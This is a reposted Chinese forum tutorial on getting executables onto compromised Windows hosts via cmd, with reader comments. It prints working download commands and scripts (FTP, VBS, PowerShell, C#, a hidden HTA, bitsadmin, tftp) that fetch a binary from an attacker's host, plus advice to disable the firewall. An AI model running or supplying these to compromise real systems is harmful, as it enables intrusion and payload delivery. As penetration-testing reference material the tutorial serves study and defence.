cmd上传文件的N种方法
注:转载文,旨在技术交流 如果侵犯某方权益,请联系删除。
【序】
老君推荐的好文,大家一起分享下。
我百度看了下,不少社区都有这篇文章,很全面。
0x00 前言
在渗透测试的过程中,常常需要向目标主机上传文件。所以本文就对该技巧做一下总结。
0x02 测试环境
OS:Win7 x86
0x03 通用上传方法
1、debug
debug是一个程序调试工具,功能包括:
· 直接输入,更改,跟踪,运行汇编语言源程序
· 观察操作系统的内容
· 查看ROM BIOS的内容
· 观察更改RAM内部的设置值
· 以扇区或文件的方式读写软盘数据
特别的是它还有一个功能可以将十六进制代码转换为可执行文件:
结合本文的目标,思路如下:
1.把需要上传的exe转换成十六进制hex的形式
2.通过echo命令将hex代码写入文件
3.使用debug功能将hex代码还原出exe文件
kali中的exe2bat.exe提供了这个功能,位于 /usr/share/windows-binaries
如图3
操作步骤:
kali:如图4
cd /usr/share/windows-binaries
wine exe2bat.exe ssss2.exe ssss2.txt
执行后会生成1.dll、123.hex、ssss.exe
如图4
注:
exe2bat不支持大于64kb的文件
如图5
2、ftp
搭建好ftp服务器:
ip:192.168.174.151
文件:ssss2.exe
按顺序执行如下代码即可通过ftp来下载文件
cmd:
echo open 192.168.174.151 21> ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo ftp>> ftp.txt
echo GET ssss2.exe >> ftp.txt
ftp -s:ftp.txt
注:
初次使用ftp下载防火墙会弹框拦截,使用前记得要先添加防火墙规则
3、vbs
vbs downloader,使用msxml2.xmlhttp和adodb.stream对象
如下代码保存为.vbs文件:
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.174.145/ssss2.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:\test\update\ssss2.exe",2
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.174.145/ssss2.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\test\update\ssss2.exe",2 >>download.vbs
4、powershell
cmd:
powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.174.145/ssss2.exe','C:\test\update\ssss2.exe')
csc.exe是微软.NET Framework 中的C#编译器,Windows系统中默认包含,可在命令行下将cs文件编译成exe
c# downloader的代码为:
using System.Net;
namespace downloader
{
class Program
{
static void Main(string[] args)
{
WebClient client = new WebClient();
string URLAddress = @"http://192.168.174.145/ssss2.exe";
string receivePath = @"C:\test\update\";
client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName
(URLAddress));
}
}
}
执行
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:C:\tes
t\update\download.exe C:\test\update\download.cs
6、hta
添加最小化和自动退出hta程序的功能,执行过程中会最小化hta窗口,下载文件结束后自动退出hta程序
以下代码保存为.hta文件:
<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.174.145/ssss2.exe",false);
Object.send();
if (Object.Status == 200)
{
var Stream = new ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\test\\update\\ssss2.exe", 2);
Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>
bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。xp以后的Windows系统自带
使用方法:
cmd下:
bitsadmin /transfer n http://download.sysinternals.com/files/PSTools.zip C:\test\update\PSTools.zip
注:
不支持https、ftp协议
使用kali的simplehttpserver作服务器会报错
0x04 补充上传方法
以上均为系统默认包含的程序,结合以上方法并借助于第三方工具也能够实现功能
这里介绍的思路是可先通过bitsadmin来下载第三方工具,然后利用第三方工具进行传输文件
1、wget:
bitsadmin /transfer n http://www.interlog.com/~tcharron/wgetwin-1_5_3_1-binary.zip C:\test\update\wget.zip
注:
Windows系统默认不包含解压缩zip文件的命令,但是可以通过vbs来实现解压缩zip文件
vbs实现解压缩:
以下代码保存为.vbs文件:
UnZip "C:\test\update\wget.zip","C:\test\update\wget\"
Sub UnZip(ByVal myZipFile, ByVal myTargetDir)
Set fso = CreateObject("Scripting.FileSystemObject")
If NOT fso.FileExists(myZipFile) Then
Exit Sub
ElseIf fso.GetExtensionName(myZipFile) <> "zip" Then
Exit Sub
ElseIf NOT fso.FolderExists(myTargetDir) Then
fso.CreateFolder(myTargetDir)
End If
Set objShell = CreateObject("Shell.Application")
Set objSource = objShell.NameSpace(myZipFile)
Set objFolderItem = objSource.Items()
Set objTarget = objShell.NameSpace(myTargetDir)
intOptions = 256
objTarget.CopyHere objFolderItem, intOptions
End Sub
http://demon.tw/programming/vbs-unzip-file.html
成功解压缩后就可通过wget.exe来传输文件
C:\test\update\wget\wget.exe http://192.168.174.145/ssss2.exe
2、ftfp
思路同上,先通过bitsadmin下载tftp.exe,然后利用tftp传输文件
bitsadmin /transfer n http://www.winagents.com/downloads/tftp.exe C:\test\update\tftp.exe
tftp -i 192.168.174.151 GET tftp\ssss2.exe C:\test\update\ssss2.exe
默认防火墙会拦截
关掉防火墙或者添加规则即可
如图10
0x05 小结
本文对一些常用的通过cmd来传输文件的技巧做了整理,侧重于介绍其中较为通用简便的方法,所以并未介绍其他需要配置开发环境的实现方法,如Python、Ruby、Php等
评论28次
再总结一版linux的就好了
bitsadmin确实是神器,之前禅道的命令执行用到过。
bitsadmin大爱
bitsadmin 就够用了 以前都是ftp方向连接下载
厉害了 以前就知道两三种传文件的方法 收藏了
没怎么看懂
我猜这篇文章被顶起来应该又是最近的st2...... 支持一下 windows下居然还能.net直接编译是我没想到的 还有hta我也到时候测试一下
找了好久 终于找到了。收藏了,其实vbs的 下载者 很爽,
大表哥思路很广,收藏了
写的很全,收藏了
sqlmap --os-shell 中写进去的命令会按字母排列顺序来执行该怎么解决?
按照字母排列顺序来执行???
之前遇到一个比较坑爹的注入点,利用sqlserver执行命令,然后每次命令都会执行两次,然后echo两次,ftp里面的东西就写了两次。。。也是后来才知道bitsadmin的,确实很好用
CMD的功能强大。只是不能全记住记个大概用到了在百度下
可以的,收藏了。
这个可以有
看到个不常用的,不错
貌似以前在某云上看到过
学xi了 感谢
sqlmap --os-shell 中写进去的命令会按字母排列顺序来执行该怎么解决?
6666,一直在找这方面的文章,终于来了